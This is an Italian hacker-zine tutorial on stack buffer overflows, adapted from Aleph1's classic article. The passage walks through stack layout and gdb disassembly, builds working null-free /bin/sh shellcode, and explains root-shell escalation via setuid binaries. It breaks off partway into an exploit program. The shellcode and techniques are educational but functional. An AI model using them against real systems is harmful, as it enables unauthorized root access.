==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

-----------------------------[ BUFFER 0VERFL0WS ]-----------------------------
---------------------------------[ SirCondor ]--------------------------------

MU$iCa A$ColTaTA : TOOL - 46&2 / SOUNDGARDEN - 4th OF JULY 
                          METALLICA - WELCOME HOME

CiB0 1NGEriT0  : n. 1 Piadina con prosciutto e fontina
                 n. 2 Banane semi-verdi 
		 n. 1 Succo d'arancia al 40% (leggi: acqua colorata)

SalUtI      :  Tutti i fratellini / fratelloni di Orda (grazie di esistere)
               DIO (grazie di non esistere)
	       Reactive, ER piu' grande acher der tufello! :)
	       JUS, nonostante tutto ti voglio bene... 

V4ffancUl0 A : Milosevic e gli altri nazisti di merda.
               Il postino che porta la bolletta del telefono :)
               Italia1 che massacra indegnamente i Simpsons con la pubblicita'

				    -INTRO-

Ok, questo e' il mio primo articolo per BFi e volevo uniformarmi allo
stile :) E sempre seguendo questa linea vorrei precisare che i contenuti di
questo articolo sono a scopo puramente informativo blah blah blah. Non mi
frega un cazzo di quello che farete con queste informazioni. Che io sappia
non esistono testi in italiano che trattino quest'argomento, e anche quelli
in inglese non sono certo numerosi. L'unico veramente degno di nota e' quello
di Aleph1, "Smashing the Stack for Fun and Profit", contenuto nel numero 49
di Phrack (www.phrack.com). Quest'articolo riprende alcune parti di quel testo
(gli esempi e le sessioni di debugging ad esempio), ma ho cercato di chiarire
un po' le parti piu' "complicate". Resta comunque d'obbligo, per capire
questo articolo, una discreta conoscenza del C, e una rudimentale conoscenza
dell'assembler. Ok, dopo tanta inutilita', vediamo di darci da fare :))

		      - COS'E' UN BUFFER OVERFLOW ? -

Spero che tutti sappiate che cos'e' un buffer (se non lo sapete, passate al
prossimo articolo o tornate a giocare a Quake II). In sostanza e' una serie 
continua di celle di memoria di un calcolatore che contengono informazioni di
uno stesso tipo (numeri, caratteri ecc.). Un po' meno ovvio e' che cosa sia un
"overflow". Il fido vocabolario di inglese ci puo' dare in questo caso una
mano. OVERFLOW : v.t. Riempire oltre il limite, Far traboccare. Quindi,
facendo 2 + 2, un "buffer overflow" consiste nel mettere in un buffer piu'
dati di quanto esso non sia stato predisposto ad accogliere. Lo so cosa state
pensando..."cosa cazzo centra questo col prendere la root in un sistema?".
Ebbene, centra, fidatevi.

	        - I PROCESSI E LA MEMORIA NEI SISTEMI UNIX -

Beh, innanzitutto credo che una spiegazione di cosa sia lo stack e' doverosa.
Lo STACK e' una delle tre aree di memoria in cui e' organizzato un processo.
Le tree aree sono l'area di testo (TEXT), l'area dati (DATA) e l'area stack
(STACK), e sono cosi' organizzate in memoria:

			     /------------------\  indirizzi ALTI di memoria
                             |                  |  
                             |       STACK      |  
                             |                  |
                             |------------------|
                             | (Non inizializ.) |
                             |       DATA       |
                             |  (Inizializzati) |
                             |------------------|
                             |                  |
                             |       TEXT       |  
                             |                  |  
                             \------------------/ indirizzi BASSI di memoria
						  (verso 0x00000000)

All'atto di eseguire il programma, le zone TEXT e DATA sono trasferite nella
memoria. Nella regione DATA possiamo distinguere due tipi di dati: 
inizializzati e non inizializzati (detti anche "BSS"). Fanno parte dei dati 
"BSS" le variabili "static", ad esempio. La regione STACK occupa gli indirizzi
di memoria piu' alti. Quindi, un processo che sta girando in memoria avra' 
piu' o meno questo aspetto, dal punto di vista della memoria:

|------------------|  Indirizzi piu' ALTI 
|proc. kernel stack|
|------------------| 
|     red zone     | 
|------------------|
|    user area     |
|------------------|
| struc. ps_string | --> INFORMAZIONI SUL PROCESSO
|------------------|
|   signal code    |
|------------------|  -----------\
|  env strings     |              \
|------------------|               \ 
|  argv strings    |                \
|------------------|                 \
|  env pointers    |                   ARGOMENTI PASSATI ALL'ESEGUIBILE
|------------------|                 / E VARIABILI D'AMBIENTE
|  argv pointers   |                /
|------------------|               /
|     argc         |              /
|------------------|  -----------/
|     STACK        |
|       |          |
|       |          |
|       V          |
|                  |
|                  |
|       ^          |
|       |          |
|       |          |
|      HEAP        |
|------------------|
|      BSS         | -->  DATI NON INIZIALIZZATI  
|------------------|
| Initialized data | -->  DATI INIZIALIZZATI
|------------------|
|      TEXT        | 
|------------------|   Indirizzi piu' BASSI (verso 0x00000000) 

Lo stack, che nei processori Intel cresce verso il basso (verso indirizzi di
memoria numericamente minori), funziona col principio LIFO (Last In, First
Out), cioe' e' paragonabile ad una grande pila in cui vengono "accatastati"
o ritirati dei dati. Queste operazioni avvengono quindi sempre e solo sulla
cima della pila. Nel linguaggio assembler, l'istruzione PUSH mette un dato
in cima alla pila, e l'istruzione POP recupera dalla cima l'ultimo dato che e'
stato "PUSHato". In pratica, in pseudo-assembler:

MOV   a,10    ; a = 10
MOV   b,20    ; b = 20
PUSH  a        
PUSH  b
POP   a       ; adesso a=20
POP   b       ; e b = 10

Normalmente i dati sono ritirati nell'ordine inverso in cui sono stati salvati
sullo stack. In questo caso, a titolo di esempio, il principio e' stato
violato.

			     - A COSA SERVE LO STACK ? -

Per strutturare i programmi, i linguaggi di alto livello come il C e il
Pascal permettono la definizione di funzioni e procedure. Una volta terminata
l'esecuzione di queste, il controllo deve in qualche modo tornare al programma
chiamante, e precisamente all'istruzione IMMEDIATAMENTE successiva alla
chiamata di funzione. E' risaputo che funzioni e procedure possono avere delle
variabili locali, e possono accettare parametri dal programma chiamante.
Bene. Lo stack serve sostanzialmente a questo: memorizzare le variabili locali
delle funzioni e gli argomenti a loro passati.

			       - ARCHITETTURA x86 -

Nei processori Intel, dal 386 al Pentium II, il registro ESP viene usato per
puntare COSTANTEMENTE alla cima dello stack. Quindi un'istruzione "PUSH"
provochera' la diminuzione del valore di ESP (ricordate che lo stack cresce
verso indirizzi di memoria numericamente piu' bassi), mentre un'istruzione
"POP" ne provochera' l'aumento. Una funzione potrebbe quindi teoricamente
accedere alle sue variabili locali tramite un indirizzamento a partire da
ESP... il problema e' che il valore di ESP cambia continuamente ad ogni
istruzione PUSH e POP, e quindi questo non sarebbe molto pratico. Nei
processori x86 quindi, il registro EBP viene utilizzato come "FRAME POINTER"
(FP). Il valore di EBP non cambia mai all'interno di una stessa funzione, e
quindi sia gli argomenti ad essa passati che le sue variabili locali possono
essere referenziate facilmente con un OFFSET che indichi la distanza da EBP.
Ma cosa succede quando chiamiamo una funzione con dei parametri? Vediamo un
breve esempio:

esempio1.c:
---------- snip ----------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}
---------- snip ----------

Compiliamo questo breve programma con l'opzione -S del gcc, per generare
codice assembler in output:

$ gcc -S -o esempio1.s esempio1.c

Questo e' il codice generato dal programma:

------------------------------------------------------------------------------
        pushl $3
        pushl $2
        pushl $1
        call function
------------------------------------------------------------------------------

Per prima cosa gli argomenti della funzione vengono salvati sullo stack in 
ordine inverso, poi la funzione viene chiamata. La chiamata a "call" fa si'
che l'indirizzo della successiva istruzione da eseguire (EIP) venga salvato
nello stack. Chiameremo questo valore "indirizzo di ritorno" (RET). Ora
vediamo che cosa avviene all'interno della funzione:

------------------------------------------------------------------------------
        pushl %ebp
        movl %esp,%ebp
        subl $20,%esp
------------------------------------------------------------------------------

Questa parte viene chiamata in gergo il "preludio" alla funzione. Per prima
cosa EBP viene salvato sullo stack. Questo e' necessario per fare
in modo che una volta terminata la funzione, il programma chiamante possa
ritrovare il suo FRAME (contenente variabili locali e argomenti) semplicemente
eseguendo un POP dallo stack. Poi il contenuto di ESP viene copiato in EBP,
creando il nuovo FRAME POINTER, che sara' utilizzato dalla funzione per
riferirsi ai suoi parametri (con offset positivi) e alle sue variabili locali
(con offset negativi). Successivamente, allo STACK POINTER viene sottratto
$20, per lasciare spazio alle variabili locali. Ora qualcuno si stara'
giustamente chiedendo perche' cazzo viene sottratto 20 e non 15 (10 + 5),
visto che un char occupa esattamente 1 byte. La memoria puo' essere
indirizzata solo in multipli della "PAROLA" di memoria. Negli attuali
processori, una parola e' composta da 4 byte. Quindi, un array di 5 char in
realta' occupera' 8 byte (2 parole), e un array di 12 char ne occupera' 12
(3 parole). Quindi in totale le variabili locali della funzione prenderanno
20 byte.
In pratica, dopo la chiamata alla funzione, lo stack avra' questo aspetto:

Memoria BASSA [verso 0x00000000]                          Memoria ALTA 
 
          buffer2       buffer1   fp    ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]

cima dello                                                          base dello
stack                                                               stack

			     - BUFFER OVERFLOWS -
				
Ok. Adesso viene il bello. Osserviamo questo programma:

esempio2.c
---------- snip ----------
void function(char *str) {
   char buffer[16];

   /* questa cazzata e' stata fatta come esempio... la cosa interessante e'
      che molti programmatori la fanno senza accorgersene! :) */
   
   strcpy(buffer,str);  
}

void main() {
  char large_string[256];
  int i;

  /* ora riempiamo large_string con un carattere diverso da \0 */
  for( i = 0; i < 255; i++) large_string[i] = 'A';

  function(large_string);
}

La funzione "function" contiene un errore di programmazione ben visibile:
la funzione "strcpy" copia il contenuto di str (255 byte) in "buffer" (che ha
una grandezza di 16 byte) senza controllare che la grandezza di "buffer" non 
sia superata. Ma come puo' questo errore essere sfruttato per eseguire codice
arbitrario? Diamo un'occhiata allo stack di questo programma dopo la chiamata 
a "function": 

                                                           
Memoria BASSA [verso 0x00000000]                               Memoria ALTA

                  buffer            fp    ret   *str
<------          [                ][    ][    ][    ]

cima dello                                                          base dello
stack                                                               stack

La funzione strcpy comincia a copiare nell'inizio di buffer, e continua finche'
non trova uno zero in str (che non c'e', dato che str e' composta da 255 
caratteri 'A'). Poiche' la copia avviene verso indirizzi crescenti di memoria
(cioe' nel verso opposto in cui cresce lo stack), strcpy continuera' a copiare
'A' in memoria sovrascrivendo qualsiasi cosa essa contenga, compreso il RET
(l'indirizzo della successiva istruzione da eseguire all'uscita della 
funzione). Forse adesso qualcuno comincia ad intravedere la possibilita' che
ci si para davanti: modificare il flusso di esecuzione del programma!
In questo caso il programma andrebbe in Segmentation Fault, perche' il RET
sarebbe sovrascritto da tutte 'A' ( 0x41 esadecimale), e verrebbe a contenere
quindi il valore 0x41414141. Essendo questo fuori dallo spazio di memoria 
riservato al processo, si otterrebbe una violazione di segmento.
Vediamo subito un esempio pratico di come possiamo alterare il flusso di un 
nostro programma giocherellando un po' con il RET...

esempio3.c:
---------- snip ----------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;

   ret = buffer1 + 12;   /* ret contiene ora l'indirizzo di RET */
   (*ret) += 8;          /* ..che viene aumentato di 8 byte     */
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
---------- snip ----------

Osservando i diagrammi di stack precedenti, possiamo vedere che il RET dista
esattamente 12 byte dall'inizio di buffer1 ( 8 byte + 4 byte). Predisponiamo
quindi un puntatore a RET, e ne cambiamo il valore in modo da far saltare
al programma l'esecuzione dell'assegnazione x = 1. Per fare cio', basta
aggiungere 8 byte al valore di RET. Per quelli di voi che si stanno chiedendo
perche' (spero siano molti... chiedersi il perche' delle cose e' un ottima
strada per abbandonare lo stato di LAMER :) ecco una sessione di debugging:

-----------------------------------------------------------------------------
$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:       pushl  %ebp
0x8000491 <main+1>:     movl   %esp,%ebp
0x8000493 <main+3>:     subl   $0x4,%esp
0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl  $0x3
0x800049f <main+15>:    pushl  $0x2
0x80004a1 <main+17>:    pushl  $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl   $0xc,%esp
0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl  %eax
0x80004b6 <main+38>:    pushl  $0x80004f8
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl   $0x8,%esp
0x80004c3 <main+51>:    movl   %ebp,%esp
0x80004c5 <main+53>:    popl   %ebp
0x80004c6 <main+54>:    ret
0x80004c7 <main+55>:    nop
------------------------------------------------------------------------------

Possiamo vedere che al momento della chiamata di funzione, RET contiene 
l'indirizzo dell'istruzione successiva da eseguire (0x80004a8). Ma noi
vogliamo saltare l'assegnamento a=1, e arrivare alla posizione 0x80004b2. La
distanza e' esattamente di 8 byte.

			      - LO SHELL CODE -

Cosa vogliamo far eseguire al programma quando tentiamo di sfruttare un buffer
overflow? La prima cosa che mi viene in mente (e spero anche a voi...) e' una
bella shell, in modo da continuare poi a dare comandi. Solo che c'e' un
problemino... nel 99% dei casi il programma che stiamo cercando di exploitare
non contiene il codice per eseguire una shell... ma non e' un gran problema:
ce lo mettiamo noi! Un'ottima locazione per inserire il codice che esegue una
shell e' proprio il buffer che stiamo cercando di OVERFLOWare (sto creando
un nuovo vocabolario :) In pratica lo stack dovrebbe essere piu' o meno cosi':

base della DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     cima della
memoria    89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memoria
           buffer                fp    ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
cima dello                                                          base dello 
stack                                                               stack

Il codice per eseguire un shell in C e' questo:

shellcode.c
---------- snip ----------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL); /* man execve, per favore :) */
}
---------- snip ----------

Compiliamo il programmino con l'opzione -static (altrimenti il codice di
execve non sarebbe incluso), e facciamo un po' di debugging:

$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode

GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------

Vediamo passo per passo cosa succede:

------------------------------------------------------------------------------
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp

Questo e' semplicemente il "preludio" alla funzione (vedi sopra). A ESP viene
sottratto 8 perche' i due puntatori (char *name[2]) occupano una parola
ciascuno (in tutto 8 byte).

0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

Copiamo il valore 0x80027b8 (l'indirizzo della stringa "/bin/sh") nel primo
puntatore di name[]. Questo corrisponde a:
        
			name[0] = "/bin/sh";

0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)

Copiamo il valore 0x0 (NULL) nel secondo puntatore di name[], equivalente a:

			name[1] = NULL;

Ora inizia la chiamata a execve():

0x8000144 <main+20>:    pushl  $0x0

Salviamo gli argomenti di execve() in ordine inverso sullo stack, iniziando 
da NULL.

0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax

Carichamo in EAX l'indirizzo di name[]...

0x8000149 <main+25>:    pushl  %eax

...e lo spediamo nello stack.

0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax

Carichiamo in EAX l'indirizzo della stringa "/bin/sh"...

0x800014d <main+29>:    pushl  %eax

...e lo spediamo nello stack.

0x800014e <main+30>:    call   0x80002bc <__execve>

Finalmente chiamiamo execve(). Questo fa si' che EIP venga salvato sullo stack
come indirizzo di ritorno (RET)
------------------------------------------------------------------------------

Ora diamo un'occhiata a execve():
------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

Il classico "preludio".

0x80002c0 <__execve+4>: movl   $0xb,%eax

Copiamo 0xb (11 decimale) sullo stack. Questo e' l'indice della funzione 
excve() nella tabella delle chiamate di sistema.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

Copiamo l'indirizzo di "/bin/sh" in EBX.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

Copiamo l'indirizzo di name[] in ECX.

0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

Copiamo l'indirizzo del puntatore a NULL in %edx.

0x80002ce <__execve+18>:        int    $0x80

Chiamiamo l'interrupt 80, entrando in kernel mode.
------------------------------------------------------------------------------

Se la chiamata ad execve() dovesse per qualche ragione fallire, il programma 
continuerebbe ad eseguire istruzioni dallo stack, e andrebbe probabilmente in
core dump! Per evitare questo, mettiamo un'istruzione "exit(0);" dopo la
chiamata ad execve(). Questa non fa altro che mettere 0x1 in EAX, il codice
di uscita in EBX e chiamare l'interrupt 80. Niente di piu' semplice.

			    - QUALCHE PROBLEMINO... - 

Il grande problema che ci troviamo ad affrontare quando tentiamo di scrivere
un exploit per un qualche buffer overflow e' che non possiamo sapere DOVE, 
all'interno dell'area di memoria del programma che vogliamo exploitare,
il nostro codice (e anche la stringa "/bin/sh") sara' messo. Ma anche questo
puo' essere aggirato, anche se (purtroppo) non del tutto. Una possibile
soluzione e' quello di usare una istruzione JMP e una CALL. Il bello di
queste due istruzioni e' che non dobbiamo fornire necessariamente un
indirizzo ASSOLUTO di memoria in cui vogliamo "saltare", ma va bene anche
un indirizzo RELATIVO al puntatore di istruzione (EIP).
E' quindi un'ottima idea quella di mettere l'istruzione call esattamente prima
della stringa "/bin/sh", in modo che l'indirizzo di tale stringa venga salvato
nello stack come indirizzo di ritorno, RET (come abbiamo visto, l'istruzione
call salva nello stack l'indirizzo dell'istruzione successiva da eseguire e 
poi trasferisce il controllo alla funzione chiamata). Cosi' noi possiamo
copiare questo RET in un registro e usarne il valore. Ma dove deve puntare 
l'istruzione call? semplice... all'inizio del nostro codice! Chiediamo in
prestito ad Aleph1 un altro diagrammino esplicativo... J e' l'istruzione di
jump, s e' la stringa "/bin/sh", C e' l'istruzione call:

base della DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     cima della
memoria    89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memoria
           buffer                 fp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
cima dello                                                         base dello
stack                                                              stack
 
In pratica, in assembler:
------------------------------------------------------------------------------
        jmp    offset-to-call           # 2 bytes ------------\
        popl   %esi                     # 1 byte <----\       |
        movl   %esi,array-offset(%esi)  # 3 bytes     |       |
        movb   $0x0,nullbyteoffset(%esi)# 4 bytes     |       |
        movl   $0x0,null-offset(%esi)   # 7 bytes     | (2)   |
        movl   $0xb,%eax                # 5 bytes     |       | 
        movl   %esi,%ebx                # 2 bytes     |       | (1)
        leal   array-offset,(%esi),%ecx # 3 bytes     |       |
        leal   null-offset(%esi),%edx   # 3 bytes     |       |
        int    $0x80                    # 2 bytes     |       | 
        movl   $0x1, %eax               # 5 bytes     |       |
        movl   $0x0, %ebx               # 5 bytes     |       |
        int    $0x80                    # 2 bytes     |       |
        call   offset-to-popl           # 5 bytes ----/ <-----/
        /bin/sh va qui.
------------------------------------------------------------------------------

Calcolando tutti gli offset in base alla lunghezza delle istruzioni, abbiamo:

------------------------------------------------------------------------------
        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2b                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
------------------------------------------------------------------------------

C'e' un altro problema (ufff...). Il nostro codice modifica se stesso, ma la 
regione TEXT (in cui si trova il codice) e' marcata READ-ONLY da quasi tutti 
i sistemi operativi. Ma anche questo non e' un grande problema... mettiamo 
tutte queste istruzioni in un maxi array, e lo sbattiamo nell'area DATA :)
Per fare cio', abbiamo bisogno di una rappresentazione esadecimale del nostro
codice... niente di piu' facile. GDB ci da' ancora una mano:

shellcodeasm.c
---------- snip ----------
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}
---------- snip ----------

Ed ecco il debugging:

------------------------------------------------------------------------------
$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3      *** questo comando mostra il valore esadecimale del byte
                       che forniamo come argomento ***
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
......ripetere il procedimento per tutto lo shellcode (che palle!)

Ok, vediamo subito se funziona:

testsc.c
char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *return;

   return = (int *)&return + 2; /* in effetti aggiunge 8 byte = 2 integers */ 

/* ricordatevi sempre la struttura dello stack, e che un int e' composto di 
   4 byte. Questa istruzione in effetti fa puntare return all'indirizzo di RET 
   in memoria (che si trova 8 byte dall'inizio della variabile puntatore 
   *return...lo so che e' un casino...beccatevi sto diagrammino (ogni 
   spazio equivale a 1 byte):
  
           return  fp   RET
           [    ][    ][    ]  
           ^           ^
           |--8 byte---|
                                            */

(*return) = (int)shellcode; 

/* fa puntare RET al nostro shellcode, eseguendolo a tutti gli effetti */

}
---------- snip ----------

------------------------------------------------------------------------------
$ gcc -o testsc testsc.c
$ ./testsc
$ exit
$
------------------------------------------------------------------------------
OH PEBBACCO, FUNCE! (mitico abatantuono vecchia maniera... :)

Ma c'e' un altro problemino (stavolta veramente di facile facile soluzione..).
Nel nostro shellcode non devono esserci byte impostati a zero, altrimenti la
funzione strcpy smette di copiare il nostro shellcode nel buffer. Per aggirarlo
sara' sufficiente sostituire qualche istruzione con qualcuna equivalente (che
renda anche il codice piu' piccolo, magari...)

           Istruzione da cambiare:              Sostituire con:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax

Ok... questo e' il nostro shellcode nuovo fiammante:

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

		- E ORA QUALCOSA DI VERAMENTE DISTRUTTIVO... -

Forse a questo punto qualcuno si stara' chiedendo perche' da una semplice 
shell di utente, un buffer overflow permette di ottenere una shell di root.
Provate a dare un occhiata ai programmi che sono soggetti a buffer overflow...

-rwsr-xr-x   1 root     root        30520 May  5  1998 vulnerable

Sapete cosa significa quella s nei permessi del file? Che il file puo' essere
eseguito da un qualsiasi utente con i privilegi del propietario del file 
(root nel 99% dei casi). Questo e' a volte necessario ad alcuni programmi per
aggiornare file di sistema scrivibili solo da root o per accedere, ad esempio, 
alla mailbox dell'utente. Per questo quando exploitiamo un file suid root, la 
shell che esso esegue e' di root... il programma che l'ha lanciata aveva a
tutti gli effetti uid pari a ZERO! (root, per i piu' somarelli... :)
I privilegi di root finiscono con l'esecuzione del file, quindi NORMALMENTE un
file suidroot non e' un grosso "buco" nella sicurezza di sistema... purtroppo
(o fortunatamente...:) i programmatori sbagliano (spesso).
Forse qualcuno dira' "ma io ho visto un buffer overflow per il wuftp, ho 
controllato, ma il wuftp non e' suid root!"... certo, ma i demoni di sistema
sono gestiti dall'inetd, che e' un processo di root...

ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd

Vedete quella quinta parolina? Significa che il demone deve essere lanciato
come root, ed ecco spiegato l'arcano :)

		          - UN PO' DI PRATICA -

Ok... creiamo appositamente un programma vulnerabile ad un overflow e vediamo
di riuscire a exploitarlo. Cio e' moooolto piu' facile di come effettivamente
avviene di solito, perche' non dobbiamo tentare di indovinare dove il nostro
codice andra' a finire...

exploit1.c
---------- snip ----------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];                         /* il buffer da SFONDARE :) */
  int i;
  long *long_ptr = (long *) large_string;  

  for (i = 0; i < 32; i++)            
    *(long_ptr + i) = (int) buffer;
  
  /* riempiamo completamente il nostro buffer (large_string) con l'indirizzo 
     di buffer */

